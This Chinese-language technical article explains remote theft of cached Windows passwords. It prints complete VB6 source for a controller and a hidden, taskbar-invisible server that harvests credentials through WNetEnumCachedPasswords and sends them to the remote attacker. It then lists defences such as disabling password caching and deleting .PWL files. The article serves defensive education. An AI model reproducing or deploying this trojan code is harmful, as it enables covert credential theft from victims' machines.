-打开许多黑客网站的免费下载清单,我们会发现大量远程攻击软件,其中远程盗取他人密码便是这些软件的常见功能之一。“知己知彼”才能“有的放矢”。因此本文在分析远程盗取密码的原理后,有针对性地给出对策。--一、远程盗取密码的原理--我们通过一个示例程序来说明(VB6.0)。--1.远程控制端程序(frmClient.frm)--在窗体上建五个控件:一个名为tcpClient的Winsock控件用于通讯;一个名为txtIP的TextBox控件用于填写对方的IP地址;一个名为txtOutput的TextBox控件用于显示盗取的对方电脑的密码;一个名为cmdConnect的CommandButton控件用于执行连接;一个名为cmdGet_Pass的CommandButton控件用于取回密码(见图一)。--

--执行时,首先填入对方的IP地址,然后执行连接。若连接成功,则该按钮变虚,同时“取密码”按钮变为可用状态。图二显示了取回密码后的程序外观。--

--从图二中可以看出,被盗取回来的密码主要包括:局域网内某些加锁硬盘的解锁码(信息显示区的第一行)、互联网使用中的一些密码(第二、三行)、拨号上网时使用的用户名和密码(第六至九行)等。--远程控制端的完整源代码如下:--'======================frmClient.frm--OptionExplicit--PrivateSubcmdConnect_Click()'执行连接--tcpClient.RemoteHost=txtIP.Text--tcpClient.RemotePort=1001--tcpClient.Connect--EndSub----PrivateSubcmdGet_Pass_Click()'请求返回密码--tcpClient.SendData"Passwords"--EndSub----PrivateSubtcpClient_DataArrival(ByValbytesTotalAsLong)--DimstrDataAsString--tcpClient.GetDatastrData--IfstrData="ConnectOK"Then--cmdConnect.Enabled=False'将“连接”按钮置虚--cmdGet_Pass.Enabled=True'同时将“取密码”按钮置为可用状态--Else--txtOutput.Text=strData'将返回的密码填入显示区--EndIf--EndSub----2.潜伏在主机端的程序(frmServer.frm)--窗体上只有两个控件:一个Winsock控件用于通讯,一个TextBox控件用于密码暂存。同时,窗体的ShowInTaskbar属性和Visible属性均设为False,以便该程序即使在任务栏中也不可见。--潜伏端程序及其附属模块(Passwords.bas)如下:--'======================frmServer.frm--OptionExplicit----PrivateSubForm_Load()--'将LocalPort属性设置为一个整数。然后调用Listen方法。--tcpServer.LocalPort=1001--tcpServer.Listen--EndSub----PrivateSubtcpServer_ConnectionRequest(ByValrequestIDAsLong)--'检查控件的State属性是否为关闭的。--'如果不是,在接受新的连接之前先关闭此连接。--IftcpServer.State<>sckClosedThentcpServer.Close--'接受具有requestID参数的连接。--tcpServer.AcceptrequestID--tcpServer.SendData"ConnectOK"--EndSub----PrivateSubtcpServer_DataArrival(ByValbytesTotalAsLong)--'为进入的数据声明一个变量。然后调用GetData方法。--DimstrDataAsString--tcpServer.GetDatastrData--IfstrData="Passwords"Then--CallReturn_Password_Cached'调用模块Passwords.bas中的函数--tcpServer.SendDatatxtSendData.Text'将TextBox控件中的信息向远程传送--EndIf--EndSub----'======================Passwords.bas--OptionExplicit--DeclareFunctionWNetEnumCachedPasswordsLib"MPR.DLL"_--(ByVals1AsString,ByVali1AsInteger,ByValb1AsByte,_--ByValproc_addrAsLong,ByVall1AsLong)AsLong----TypeCached_Passwords--idAsInteger--num_of_NameAsInteger'当前资源名的长度--num_of_PassAsInteger'当前密码的长度--flagAsByte--the_TypeAsByte'类型--data(1To1024)AsByte'包含当前资源名和密码的数据区--EndType----PublicFunctionget_pass(PASSAsCached_Passwords,_--ByValnouseAsLong)AsInteger--Dimi,temp1$,temp2$--Fori=1ToPASS.num_of_Name--temp1=temp1 Chr(PASS.data(i))'得到当前资源名--Next--Fori=PASS.num_of_Name 1To(PASS.num_of_Name PASS.num_of_Pass)--temp2=temp2 Chr(PASS.data(i))'得到当前密码--Next--'将当前资源名和密码填入TextBox控件中进行汇总--frmServer.txtSendData.Text=frmServer.txtSendData.Text Chr(13)_-- Chr(10) temp1 ":" temp2--get_pass=True--EndFunction----PublicSubReturn_Password_Cached()--Dimi,temp1$,long1AsLong,byte1AsByte--byte1=&HFF:i=0:long1=0:temp1=""--'将上面的函数(get_pass)之地址作为参数,调用WNetEnumCachedPasswords--'WNetEnumCachedPasswords会自动根据资源总数多次调用get_pass函数。--CallWNetEnumCachedPasswords(temp1,i,byte1,AddressOfget_pass,long1)--EndSub----可以看出,上述程序的关键所在是API函数WNetEnumCachedPasswords的调用,该函数属于Microsoft的“网络接口动态链接库”,即“MPR.DLL”(在system目录下)。WNetEnumCachedPasswords函数的作用是将Windows系统在启动时缓存在内存中的用户密码提取出来并传给用户函数。--因此,正是Windows自身的“密码缓存”设计,帮助远程入侵者轻松获取密码。--二、防止密码被盗取的方法--关闭“密码缓存”是解决问题的根本。--可以用另一个API函数WNetCachePassword来实现。但也有几个更简易的方法:--方法一:修改配置文件--修改Windows目录下的System.ini文件,在其[NETWORK]部分中加入一行:--PasswordCaching=no--方法二:修改系统注册表--首先定位到注册表的下述位置:--HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\--Policies\Network\--然后新建一个DWORD值:--DisablePwdCaching=1--方法三:不登录系统或不保存密码--只有成功登录系统,Windows的“密码缓存”功能才会开启。因此在一般的单用户情况下,“不登录系统”不仅是安全的而且在功能上也没什么损失。如图三所示,在登录时选择“取消”键。--

--或者干脆从不保存密码,如图四所示,将“保存密码”前的“ˇ”去掉。--

--方法四:删除“.PWL”文件--“.PWL”文件一般保存在Windows目录下,它们以加密形式记录了所有用户密码。系统的“密码缓存”功能正是通过解密“.PWL”文件来实现的。--非常令人不安的是,一些黑客网站公布了解密“.PWL”文件的算法。因此,即使“密码缓存”已被关闭,只要入侵者能访问到硬盘上的“.PWL”文件,用户密码依然并不安全。--所以,删除“.PWL”文件是一劳永逸的办法。--三、提高系统的整体安全性--从上面的分析和例子我们还可以看出,阻止黑客程序植入本机也是解决问题的关键。常用的方法有:不需要IP地址时,清除掉本机的IP设置;加装针对内部局域网和外部互联网的防火墙;谨慎打开E-Mail中的附件;谨慎使用不知来源的可执行程序;以及设置主板级开机密码以防止本机被直接侵入,等等,此处不再赘述。--